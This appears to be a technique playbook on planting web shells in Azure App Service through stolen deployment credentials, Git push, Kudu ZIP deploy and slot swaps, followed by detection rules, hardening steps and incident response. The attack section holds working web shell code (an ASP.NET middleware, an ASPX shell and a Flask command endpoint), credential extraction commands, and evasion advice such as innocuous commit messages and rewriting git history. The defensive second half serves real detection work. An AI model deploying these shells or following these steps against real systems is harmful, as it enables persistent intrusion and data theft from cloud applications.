| Attribute | Details |
|---|---|
| Technique ID | PERSIST-SERVER-006 |
| MITRE ATT&CK v18.1 | T1505.003 - Server Software Component: Web Shell |
| Tactic | Persistence (TA0003) |
| Platforms | Azure App Service, M365/Entra ID (via authentication) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All Azure App Service runtime versions (Windows & Linux) |
| Patched In | N/A - Requires organizational hardening |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure App Service provides multiple deployment mechanisms (Kudu SCM, source control integration, ZIP deployment, deployment slots) that allow authenticated users to push code directly to production environments. An attacker with access to deployment credentials can inject malicious code (web shells, backdoors) into the application codebase, achieving persistent access that survives application restarts and code rollbacks if the backdoor is committed to the repository. This persistence mechanism operates at the application layer, making it appear as legitimate application code to infrastructure-level security tools.
Attack Surface: The attack targets the Azure App Service deployment pipeline, specifically:
Business Impact: Complete application compromise with persistent access. An attacker can read all application files (including configuration files with connection strings, API keys), execute arbitrary code in the context of the App Service application pool identity, exfiltrate data, modify user interactions (inject malware/phishing), and pivot to backend services (databases, APIs, storage accounts). If the App Service uses a managed identity with elevated permissions, the attacker can escalate laterally across Azure resources.
Technical Context: Deployment takes 5-30 seconds. The attack is highly stealthy because:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | AppService-1, AppService-9 | Ensure App Service Authentication is set up; Ensure Web App is using HTTPS and latest TLS |
| DISA STIG | SI-10(1) | Information System Monitoring – Ensure applications are monitored for unexpected behavior |
| CISA SCuBA | App Service Baseline | Secure baseline for web application security, including secure deployment pipelines |
| NIST 800-53 | SI-7 | Information System Monitoring (Real-time monitoring of application code changes); AC-3 (Access Control enforcement) |
| GDPR | Art. 32 | Security of Processing – Technical and organizational measures to ensure code integrity and prevent unauthorized modifications |
| DORA | Art. 9 | Protection and Prevention – Incident prevention and mitigation measures for digital operational resilience |
| NIS2 | Art. 21 | Cyber Risk Management Measures – Security monitoring for code deployment pipelines |
| ISO 27001 | A.12.4.1 | Change Management – Control and tracking of application code changes |
| ISO 27005 | Risk Scenario | “Compromise of Application Code” – Unauthorized modification of deployed application code |
Required Privileges:
Required Access:
Supported Versions:
Tools:
# Connect to Azure
Connect-AzAccount
# Get App Service resource
$appServiceName = "targetappservice"
$resourceGroup = "target-rg"
$appService = Get-AzWebApp -ResourceGroupName $resourceGroup -Name $appServiceName
# Check if Git deployment is enabled
$appService.RepositorySiteName
# If this shows a value like "targetappservice.scm.azurewebsites.net", Git is enabled
# Check deployment slot configuration
Get-AzWebAppSlot -ResourceGroupName $resourceGroup -Name $appServiceName | Select-Object -ExpandProperty Name
# View deployment credentials
$creds = Get-AzWebAppPublishingCredentials -ResourceGroupName $resourceGroup -Name $appServiceName
# Note: This requires Owner/Contributor rights, and will show username and password
What to Look For:
RepositorySiteName is populated, the Kudu deployment engine is active$appservicename\deploymentusername# Check if App Service is integrated with GitHub/Azure DevOps
$appService = Get-AzWebApp -ResourceGroupName $resourceGroup -Name $appServiceName
$appService.SiteConfig | Select-Object -Property VnetName, FtpsState, MinTlsVersion
# Check if source control deployment is configured
Get-AzWebAppSourceControl -ResourceGroupName $resourceGroup -Name $appServiceName
What to Look For:
main or production)# List all App Services in subscription
az webapp list --output table
# Get specific App Service deployment slot details
az webapp deployment slot list --resource-group <rg> --name <app-name> --output json | jq '.[] | {name, id, state}'
# Check current deployment configuration
az webapp deployment source show --resource-group <rg> --name <app-name>
# Check if FTP/FTPS is enabled
az webapp deployment publishing-profile get --resource-group <rg> --name <app-name> --xml --output tsv | grep -E "publishUrl|userName"
Supported Versions: All versions (Server 2016+)
Objective: Extract or reset the Git deployment credentials for the App Service
Command (PowerShell - If you have Owner/Contributor rights):
# Get publishing profile (XML format with embedded credentials)
$resourceGroup = "target-rg"
$appServiceName = "targetappservice"
# Get the publishing profile
$publishProfile = Get-AzWebAppPublishingProfile -ResourceGroupName $resourceGroup `
-Name $appServiceName -OutputFile "C:\temp\profile.xml"
# Extract Git URL and credentials from the XML
[xml]$profile = Get-Content "C:\temp\profile.xml"
$gitDeployment = $profile.publishData.publishProfile | Where-Object { $_.publishMethod -eq "MSDeploy" }
# Extract username and password
$gitUsername = $gitDeployment.userName
$gitPassword = $gitDeployment.userPWD
$gitUrl = $gitDeployment.publishUrl
Write-Host "Git URL: $gitUrl"
Write-Host "Git Username: $gitUsername"
Write-Host "Git Password: $gitPassword"
Expected Output:
Git URL: https://targetappservice.scm.azurewebsites.net:443/targetappservice.git
Git Username: $targetappservice\deploymentuser
Git Password: [encrypted-password]
What This Means:
https://<app-name>.scm.azurewebsites.net/<app-name>.git$<app-name>\<deployment-user>OpSec & Evasion:
Troubleshooting:
Website Contributor or Owner role on the App ServiceObjective: Download the current application source code so you can add your backdoor
Command:
# Clone the Git repository with credentials
$gitUrl = "https://targetappservice.scm.azurewebsites.net:443/targetappservice.git"
$gitUsername = "`$targetappservice\deploymentuser"
$gitPassword = "[encrypted-password]"
# Create Git URL with embedded credentials
$gitUrlWithCreds = $gitUrl -replace "https://", "https://${gitUsername}:${gitPassword}@"
# Clone repository
cd "C:\temp"
git clone $gitUrlWithCreds targetapp
cd targetapp
Expected Output:
Cloning into 'targetapp'...
remote: Counting objects: 150, done.
remote: Compressing objects: 100% (50/50), done.
Receiving objects: 100% (150/150), 15.00 KiB | 1.50 MiB/s, done.
Resolving deltas: 100% (50/50), done.
What This Means:
OpSec & Evasion:
Objective: Add a web shell to the application codebase (example for ASP.NET Core application)
Command (Create backdoor.cs in root directory):
// File: C:\temp\targetapp\backdoor.cs
// Add this to the application's Startup.cs or Program.cs
using System;
using System.Diagnostics;
using System.IO;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Http;
public class BackdoorMiddleware
{
private readonly RequestDelegate _next;
private const string MAGIC_HEADER = "X-Secret-Command"; // Hidden from logs if using obscure header
public BackdoorMiddleware(RequestDelegate next)
{
_next = next;
}
public async Task InvokeAsync(HttpContext context)
{
// Check for magic header
if (context.Request.Headers.TryGetValue(MAGIC_HEADER, out var command))
{
// Execute arbitrary command
var result = ExecuteCommand(command.ToString());
await context.Response.WriteAsync(result);
return;
}
await _next(context);
}
private string ExecuteCommand(string cmd)
{
try
{
var processInfo = new ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = $"/c {cmd}",
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true
};
using (var process = Process.Start(processInfo))
{
return process.StandardOutput.ReadToEnd();
}
}
catch (Exception ex)
{
return $"Error: {ex.Message}";
}
}
}
// Add to Startup.cs in Configure() method:
// app.UseMiddleware<BackdoorMiddleware>();
Alternative: Simple ASPX Web Shell (ASP.NET Classic):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<html>
<body>
<%
if (Request["cmd"] != null)
{
var p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["cmd"];
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
}
%>
</body>
</html>
Expected Result:
C:\temp\targetapp\backdoor.aspx (or .cs for Core)What This Means:
OpSec & Evasion:
resources.aspx, error.aspx, help.aspx/bin/, /logs/, /temp/cmd.exe calls (use System.Net.Sockets for reverse shell instead)Objective: Push the backdoored code to Azure App Service, triggering automatic deployment
Command:
# Add backdoor file
cd C:\temp\targetapp
git add backdoor.aspx
# Commit with innocuous message
git commit -m "Update error handling and logging"
# Push to main branch (triggers automatic deployment)
git push origin main
Expected Output:
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 350 bytes | 350.00 B/s, done.
Total 3 (delta 1), reused 0 (delta 0)
remote: Processing deployment...
remote: Preparing deployment for commit id 'abc123def456'
remote: KuduSync.NET from: 'https://github.com/projectkudu/KuduSync.NET/tree/master'...
remote: Deployment successful.
To https://targetappservice.scm.azurewebsites.net:443/targetappservice.git
a1b2c3d..e4f5g6h main -> main
What This Means:
OpSec & Evasion:
git commit --amend to hide commits in the logTroubleshooting:
Reset-AzWebAppPublishingProfileSupported Versions: All versions (Linux runtimes only)
Objective: Create a ZIP archive containing the backdoor code
Command (Bash):
# Create temporary directory
mkdir -p /tmp/backdoor_app
cd /tmp/backdoor_app
# For a Python Flask app, create a backdoor
cat > app.py << 'EOF'
from flask import Flask, request, jsonify
import subprocess
import json
app = Flask(__name__)
@app.route('/')
def index():
return 'OK', 200
@app.route('/admin/status', methods=['POST'])
def execute_command():
"""Hidden endpoint that executes arbitrary commands"""
try:
command = request.json.get('cmd')
if not command:
return jsonify({'error': 'No command provided'}), 400
result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True)
return jsonify({'output': result}), 200
except Exception as e:
return jsonify({'error': str(e)}), 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
EOF
# Create requirements.txt
cat > requirements.txt << 'EOF'
Flask==2.3.2
Werkzeug==2.3.6
EOF
# Create startup script
cat > startup.sh << 'EOF'
#!/bin/bash
cd /home/site/wwwroot
python -m pip install -r requirements.txt
python app.py
EOF
chmod +x startup.sh
# Create ZIP archive
cd /tmp
zip -r backdoor_app.zip backdoor_app/
Expected Output:
adding: backdoor_app/app.py (deflated 51%)
adding: backdoor_app/requirements.txt (deflated 25%)
adding: backdoor_app/startup.sh (deflated 12%)
Objective: Upload the malicious ZIP file using Kudu’s ZIP deployment API
Command (cURL):
# Variables
APP_NAME="targetappservice"
DEPLOYMENT_USER="$${APP_NAME}\deploymentuser"
DEPLOYMENT_PASS="[deployment-password]"
KUDU_URL="https://${APP_NAME}.scm.azurewebsites.net/api/zipdeploy"
# Upload the backdoor ZIP
curl -X POST \
-u "${DEPLOYMENT_USER}:${DEPLOYMENT_PASS}" \
--data-binary @/tmp/backdoor_app.zip \
"${KUDU_URL}" \
-v
# Check deployment status
curl -X GET \
-u "${DEPLOYMENT_USER}:${DEPLOYMENT_PASS}" \
"https://${APP_NAME}.scm.azurewebsites.net/api/deployments" \
| jq '.[] | {id, status, message}' | head -5
Expected Output:
< HTTP/1.1 202 Accepted
< Content-Type: application/json
{
"id": "abc123def456",
"status": "success",
"complete": true,
"message": "Created deployment slot 'production'."
}
What This Means:
OpSec & Evasion:
Supported Versions: All versions
Objective: Deploy backdoored code to a non-production slot first
Command (PowerShell):
$resourceGroup = "target-rg"
$appServiceName = "targetappservice"
$slotName = "staging"
# Create staging slot if it doesn't exist
New-AzWebAppSlot -ResourceGroupName $resourceGroup `
-Name $appServiceName `
-Slot $slotName `
-ErrorAction SilentlyContinue
# Deploy backdoor to staging slot
Publish-AzWebapp -ResourceGroupName $resourceGroup `
-Name $appServiceName `
-Slot $slotName `
-ArchivePath "C:\temp\backdoor.zip"
Expected Output:
Deploying to staging slot...
Deployment completed successfully.
Objective: Move the backdoored staging slot to production, minimizing downtime and avoiding code review
Command (PowerShell):
# Swap staging slot with production
$slotSwap = @{
ResourceGroupName = $resourceGroup
Name = $appServiceName
SourceSlot = "staging"
DestinationSlot = "production"
}
Switch-AzWebAppSlot @slotSwap
# Verify swap
Get-AzWebAppSlot -ResourceGroupName $resourceGroup -Name $appServiceName | Select-Object Name, State
Expected Output:
Name State
---- -----
staging running
production running
What This Means:
OpSec & Evasion:
Version: 2.50.0+
Installation:
# Windows
choco install azure-cli
# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# macOS
brew install azure-cli
Key Commands:
# Authenticate
az login
# Get deployment credentials
az webapp deployment list-publishing-credentials --resource-group <rg> --name <app> --query "[0].{userName, password}"
# List deployment history
az webapp deployment list --resource-group <rg> --name <app> --output table
# Deploy a ZIP file
az webapp deployment source config-zip --resource-group <rg> --name <app> --src <zip-file>
# Swap slots
az webapp deployment slot swap --resource-group <rg> --name <app> --slot <slot-name>
Version: 10.0.0+
Installation:
Install-Module -Name Az -Repository PSGallery -Force
Update-Module -Name Az
Key Commands:
# Connect to Azure
Connect-AzAccount
# Get publishing profile with credentials
Get-AzWebAppPublishingProfile -ResourceGroupName <rg> -Name <app> -OutputFile "profile.xml"
# Reset deployment credentials
Reset-AzWebAppPublishingProfile -ResourceGroupName <rg> -Name <app>
# Deploy via ZIP
Publish-AzWebapp -ResourceGroupName <rg> -Name <app> -ArchivePath "C:\backup.zip"
Usage:
# Clone App Service Git repository
git clone https://$appname\deploymentuser:password@appname.scm.azurewebsites.net:443/appname.git
# Add, commit, push backdoor
git add backdoor.aspx
git commit -m "Update application"
git push origin main
Rule Configuration:
azure_activityazure:aad:auditproperties.result, operationName, resourceType.aspx, .jsp, .php files to web directoriesSPL Query:
index=azure_activity operationName="Create Deployment" resourceType="Microsoft.Web/sites"
| search properties.deploymentType=zipdeploy OR properties.deploymentType=git
| stats count by properties.author, properties.message, _time
| where count > 0
| table _time, properties.author, properties.message, count
What This Detects:
Manual Configuration Steps (Splunk Enterprise):
count > 0False Positive Analysis:
| where properties.author != "*@mycompany.com" OR create a whitelist of approved usersRule Configuration:
azure_activityazure:aad:auditSPL Query:
index=azure_activity
| search (uri="*/api/zipdeploy*" OR uri="*/api/deployments*" OR uri="*/api/command*")
| stats count by clientIpAddress, uri, operationName
| where count > 10
| table clientIpAddress, uri, operationName, count
What This Detects:
Rule Configuration:
AzureActivityOperationName, ResultType, InitiatedBy.user.userPrincipalName, TargetResourcesKQL Query:
AzureActivity
| where OperationName in ("Create Deployment", "Publish", "Deploy from Web")
| where ResultType == "Success"
| extend DeploymentMethod = case(
OperationName contains "Deployment" and tostring(parse_json(tostring(Properties)).deploymentType) == "zipdeploy", "ZipDeploy",
OperationName contains "Deployment" and tostring(parse_json(tostring(Properties)).deploymentType) == "git", "GitPush",
"Other")
| where DeploymentMethod in ("ZipDeploy", "GitPush")
| summarize DeploymentCount = count() by InitiatedBy.user.userPrincipalName, ResourceGroup, bin(TimeGenerated, 5m)
| where DeploymentCount > 5
| project TimeGenerated, UserPrincipalName = InitiatedBy.user.userPrincipalName, ResourceGroup, DeploymentCount
What This Detects:
Manual Configuration Steps (Azure Portal):
Azure App Service Suspicious Deployment ActivityHigh5 minutes30 minutesManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Azure App Service Suspicious Deployment" `
-Query @"
AzureActivity
| where OperationName in ('Create Deployment', 'Publish', 'Deploy from Web')
| where ResultType == 'Success'
| summarize count() by InitiatedBy.user.userPrincipalName, bin(TimeGenerated, 5m)
| where count_ > 5
"@ `
-Severity "High" `
-Enabled $true
Rule Configuration:
AzureActivityKQL Query:
AzureActivity
| where OperationName == "Update Web App Source Control"
| where ResultType == "Success"
| extend SourceControlProvider = tostring(parse_json(tostring(Properties)).sourceControlProvider)
| extend Branch = tostring(parse_json(tostring(Properties)).branch)
| project TimeGenerated, InitiatedBy.user.userPrincipalName, SourceControlProvider, Branch, ResourceGroup
| join kind=inner (
AzureActivity
| where TimeGenerated > ago(30d)
| where OperationName == "Update Web App Source Control"
| summarize LastChange = max(TimeGenerated) by ResourceGroup
) on ResourceGroup
What This Detects:
Event ID: 903 (Microsoft-IIS-Configuration Audit)
Event ID: 5156 (Windows Firewall - Outbound Connection)
Manual Configuration Steps (Group Policy):
gpupdate /forceManual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Application Generated" /success:enable /failure:enableMinimum Sysmon Version: 13.0+
<Sysmon schemaversion="4.22">
<EventFiltering>
<!-- Detect web server spawning command shells (web shell execution) -->
<ProcessCreate onmatch="include">
<ParentImage condition="image">w3wp.exe</ParentImage>
<Image condition="image">cmd.exe;powershell.exe;whoami.exe;ipconfig.exe</Image>
</ProcessCreate>
<ProcessCreate onmatch="include">
<ParentImage condition="image">dotnet.exe;java.exe;node.exe;python.exe</ParentImage>
<Image condition="image">cmd.exe;powershell.exe;bash.exe</Image>
</ProcessCreate>
<!-- Detect file writes to web directories -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">\\wwwroot\\;\\www\\;\\html\\</TargetFilename>
<TargetFilename condition="image">.aspx;.jsp;.php;.py;.rb</TargetFilename>
</FileCreate>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Where-Object { $_.Id -eq 1 }
Alert Name: “Suspicious deployment activity on App Service detected”
.aspx, .php, .jsp filesManual Configuration Steps (Enable Defender for Cloud):
Operation Name: “Create Deployment”, “Update Deployment”, “Delete Deployment”
# Connect to Exchange Online for Purview auditing
Connect-ExchangeOnline
# Search for App Service deployment operations
Search-UnifiedAuditLog -Operations "Create Deployment", "Update Deployment" `
-StartDate (Get-Date).AddDays(-7) `
-EndDate (Get-Date) `
| Export-Csv -Path "C:\Audit\AppServiceDeployments.csv" -NoTypeInformation
Details to Analyze in AuditData:
Manual Configuration Steps (Enable Unified Audit Log):
1. Enforce Deployment Slots with Pre-Swap Validation
Deployment slots allow you to test code before swapping to production. An attacker can be slowed by enforcing a validation step.
Manual Steps (Azure Portal):
stagingManual Steps (PowerShell):
$resourceGroup = "myapp-rg"
$appServiceName = "myapp"
# Enable slot-specific configuration for health checks
$webApp = Get-AzWebApp -ResourceGroupName $resourceGroup -Name $appServiceName
$webApp.SiteConfig.HealthCheckPath = "/healthcheck"
Set-AzWebApp -WebApp $webApp
# Configure slot swap settings
$slotSwapConfig = @{
ResourceGroupName = $resourceGroup
Name = $appServiceName
Slot = "staging"
HealthCheckPath = "/healthcheck"
}
# Note: Full slot swap configuration requires Azure CLI or Portal
az webapp config slot swap-slot-config --resource-group $resourceGroup --name $appServiceName `
--slot staging --slot-specific-config-names "WEBSITE_INSTANCE_ID"
2. Restrict Deployment Credentials and Use Managed Identities
Traditional deployment credentials can be stolen. Use Azure Managed Identities and federated credentials instead.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
$resourceGroup = "myapp-rg"
$appServiceName = "myapp"
# Enable system-assigned managed identity
$webApp = Get-AzWebApp -ResourceGroupName $resourceGroup -Name $appServiceName
Set-AzWebApp -Name $appServiceName -ResourceGroupName $resourceGroup `
-AssignIdentity $true
# Disable basic authentication for Kudu/SCM
$webApp.SiteConfig.FtpsState = "Disabled"
$webApp.SiteConfig.BasicAuthPublishingCredentialsEnabled = $false
Set-AzWebApp -WebApp $webApp
3. Enable Repository Configuration with Read-Only Access for Certain Users
Restrict who can push code to the production branch.
Manual Steps (Azure DevOps or GitHub):
main)Disabled4. Monitor File Uploads to Web Directories
Manual Steps (Azure App Service Diagnostic Settings):
5. Implement Web Application Firewall (WAF) Rules
Block suspicious file uploads and web shell patterns.
Manual Steps (Application Gateway + WAF):
.aspx, .jsp, .phpcmd.exe, powershell, bash6. Conditional Access Policy: Require Compliant Device for Deployments
Restrict deployments to only come from managed/compliant devices.
Manual Steps:
Restrict App Service Deployments to Compliant Devices7. RBAC: Limit Who Can Deploy Code
Remove overly permissive roles.
Manual Steps:
Microsoft.Web/sites/publish/action (deploy code)Microsoft.Web/sites/read (view site)Microsoft.Web/sites/write, Microsoft.Web/sites/deleteValidation Command (Verify Mitigations):
# Check if basic auth for Kudu is disabled
$webApp = Get-AzWebApp -ResourceGroupName "myapp-rg" -Name "myapp"
$webApp.SiteConfig.BasicAuthPublishingCredentialsEnabled
# Expected Output: False (if secure)
# Check if managed identity is enabled
$webApp.Identity.PrincipalId
# Expected Output: [GUID of managed identity] (if secure)
Expected Output (If Secure):
BasicAuthPublishingCredentialsEnabled : False
PrincipalId : a1b2c3d4-e5f6-7890-abcd-ef1234567890
What to Look For:
BasicAuthPublishingCredentialsEnabled should be FalsePrincipalId should be populated (indicates managed identity is enabled)True for basic auth, the mitigation is not in placeFiles:
C:\home\site\wwwroot\*.aspx (unexpected ASPX files)C:\home\site\wwwroot\*.php (if application is not PHP-based)/home/site/wwwroot/*.py (if not Python application)C:\Program Files\git\bin\git.exe (Git deployed on App Service)C:\temp\*.zip (temporary backdoor archives)Registry:
HKLM\System\CurrentControlSet\Services\W3SVC\Parameters\ (IIS configuration changes)HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ (persistence mechanisms)Network:
w3wp.exe to unusual ports/IPsCloud Audit Logs:
AzureActivity: Operation “Create Deployment” with unexpected authorsAppServiceAuditLogs: File changes in web directories with suspicious timestampsAppServiceFileAuditLogs: .aspx, .php, .jsp file creationGit History:
Disk:
C:\home\site\wwwroot\backdoor.aspx (backdoor file on disk)C:\ProgramData\Git\config (Git configuration with embedded credentials)C:\Users\[AppServiceUser]\.git\config (local Git repository data)C:\Windows\System32\drivers\etc\hosts (DNS hijacking)Memory:
w3wp.exe process memory (may contain shell commands, reverse shell payloads)cmd.exe spawned from w3wp.exe (web shell execution)Cloud:
AuditData field in AzureActivity table (contains deployment payload details)Application Logs:
1. Isolate:
Azure Command:
# Stop the App Service to prevent further exploitation
Stop-AzWebApp -ResourceGroupName "myapp-rg" -Name "myapp"
# Verify it's stopped
Get-AzWebApp -ResourceGroupName "myapp-rg" -Name "myapp" | Select-Object Name, State
Expected Output:
Name State
---- -----
myapp Stopped
Manual (Portal):
2. Collect Evidence:
# Export deployment history
$deployments = Get-AzWebAppSlotPublishingProfile -ResourceGroupName "myapp-rg" -Name "myapp"
# Export Git commit log
git log --oneline --all > "C:\Incident\git-history.txt"
# Export diagnostic logs
$diagnosticLogs = Get-AzWebApp -ResourceGroupName "myapp-rg" -Name "myapp" `
| Get-AzWebAppDiagnosticLog
# Export activity logs
Get-AzActivityLog -ResourceGroupName "myapp-rg" -StartTime (Get-Date).AddDays(-7) `
| Export-Csv -Path "C:\Incident\activity-logs.csv"
Manual (Portal):
3. Remediate:
# Step 1: Remove the backdoor from source control
git log --oneline
git revert [commit-hash-of-backdoor]
git push origin main
# Step 2: Reset deployment credentials (invalidates stolen credentials)
Reset-AzWebAppPublishingProfile -ResourceGroupName "myapp-rg" -Name "myapp"
# Step 3: Redeploy clean code
Publish-AzWebapp -ResourceGroupName "myapp-rg" -Name "myapp" -ArchivePath "C:\clean-backup.zip"
# Step 4: Restart the App Service
Start-AzWebApp -ResourceGroupName "myapp-rg" -Name "myapp"
Manual (Portal):
4. Validate Remediation:
# Verify no suspicious files exist
# (This requires RDP/SSH into the App Service)
dir C:\home\site\wwwroot\*.aspx
# Expected: Only legitimate application files, no backdoors
# Verify Git history is clean
git log --all --oneline | grep -i "backdoor|shell|exploit"
# Expected: No results (if clean)
# Verify deployment credentials are new
Get-AzWebAppPublishingProfile -ResourceGroupName "myapp-rg" -Name "myapp" -OutputFile "new-profile.xml"
# Expected: New XML file with new credentials
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks user into authorizing a malicious Entra ID app, gaining access to Azure credentials |
| 2 | Credential Access | [CA-UNSC-007] Azure Key Vault Secret Extraction | Attacker steals App Service deployment credentials from Key Vault |
| 3 | Privilege Escalation | [PE-ACCTMGMT-001] App Registration Permissions Escalation | Attacker escalates to Global Admin via app registration abuse |
| 4 | Current Step | [PERSIST-SERVER-006] | Attacker deploys web shell to App Service, achieving persistence |
| 5 | Collection | [C-WEB-001] Web Application Data Harvesting | Attacker uses web shell to access application database and exfiltrate customer data |
| 6 | Impact | [I-RANSOM-001] Data Encryption via Ransomware | Attacker deploys ransomware payload through web shell |
spinstall0.aspx) to SharePoint and App Service instancesQuick Test (Verify Technique Viability):
# 1. Check if Git deployment is enabled
Get-AzWebApp -ResourceGroupName "myapp-rg" -Name "myapp" | Select-Object RepositorySiteName
# 2. Attempt to get publishing credentials (if authorized)
Get-AzWebAppPublishingProfile -ResourceGroupName "myapp-rg" -Name "myapp" -OutputFile "test-profile.xml" -ErrorAction SilentlyContinue
# 3. List deployment history
Get-AzWebAppSlot -ResourceGroupName "myapp-rg" -Name "myapp" | Get-AzWebAppDeployment
Verification Command (Post-Exploitation):
# Verify backdoor is deployed
Invoke-WebRequest "https://myapp.azurewebsites.net/backdoor.aspx" -Headers @{"X-Secret-Command" = "whoami"}
# Expected: If backdoor is active, returns current user context (e.g., "NT AUTHORITY\SYSTEM")